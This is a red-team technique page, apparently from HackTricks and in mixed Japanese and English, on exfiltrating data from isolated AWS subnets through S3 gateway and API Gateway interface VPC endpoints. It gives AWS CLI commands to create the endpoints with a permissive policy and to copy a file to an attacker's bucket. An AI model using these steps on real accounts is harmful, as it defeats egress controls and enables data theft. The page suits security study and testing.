AWS – 分離されたサブネットからVPC Endpoints経由でのEgress Bypass

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Summary

この手法は、Internet Gateways や NAT を持たないサブネットからデータを外部に送るチャネルを作るために VPC Endpoints を悪用します。Gateway endpoints(例: S3)はサブネットのルートテーブルに prefix‑list ルートを追加します。Interface endpoints(例: execute-api、secretsmanager、ssm など)は、security groups で保護された private IP を持つ到達可能な ENIs を作成します。最小限の VPC/EC2 パーミッションがあれば、攻撃者はパブリック Internet を経由しない制御された egress を有効化できます。

Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.

Option A – S3 Gateway VPC Endpoint

変数

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Create a permissive endpoint policy file (optional). Save as allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. S3 Gateway endpoint を作成する(選択したルートテーブルに S3 prefix‑list のルートを追加します):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Evidence to capture:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS は AWS S3 プレフィックスリストへのルートを示します(例: DestinationPrefixListId=pl-..., GatewayId=vpce-...)。
  • それらのサブネット内の instance(with IAM perms)から、Internet を使わずに S3 経由で exfil できる:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

オプションB – Interface VPC Endpoint for API Gateway (execute-api)

変数

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. interface endpoint を作成して SG をアタッチする:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

収集する証拠:

  • aws ec2 describe-vpc-endpointsavailable 状態で NetworkInterfaceIds(サブネット内の ENIs)を表示する。
  • それらのサブネット内のインスタンスは、これらの VPCE ENIs 経由で Private API Gateway エンドポイントに到達できる(Internet 経路は不要)。

影響

  • AWS-managed のプライベート経路を利用して、周辺の egress 制御を回避する。
  • IGW/NAT なしで、分離されたサブネットからのデータ持ち出しを可能にする(例: S3 への書き込み、Private API Gateway の呼び出し、Secrets Manager/SSM/STS へのアクセスなど)。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする